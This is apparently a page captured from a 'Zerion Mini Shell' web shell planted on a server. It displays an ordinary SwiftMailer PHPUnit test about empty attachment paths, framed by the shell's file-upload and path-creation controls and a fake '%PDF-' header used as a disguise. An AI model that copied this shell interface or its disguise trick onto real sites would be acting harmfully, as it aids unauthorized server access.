%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/paste.varak.net-5.6/vendor/swiftmailer/swiftmailer/tests/bug/Swift/
Upload File :
Create Path :
Current File : //www/varak.net/paste.varak.net-5.6/vendor/swiftmailer/swiftmailer/tests/bug/Swift/Bug274Test.php

<?php

class Swift_Bug274Test extends \PHPUnit_Framework_TestCase
{
    public function testEmptyFileNameAsAttachement()
    {
        $message = new Swift_Message();
        $this->setExpectedException('Swift_IoException', 'The path cannot be empty');
        $message->attach(Swift_Attachment::fromPath(''));
    }

    public function testNonEmptyFileNameAsAttachement()
    {
        $message = new Swift_Message();
        try {
            $message->attach(Swift_Attachment::fromPath(__FILE__));
        } catch (Exception $e) {
            $this->fail('Path should not be empty');
        }
    }
}

Zerion Mini Shell 1.0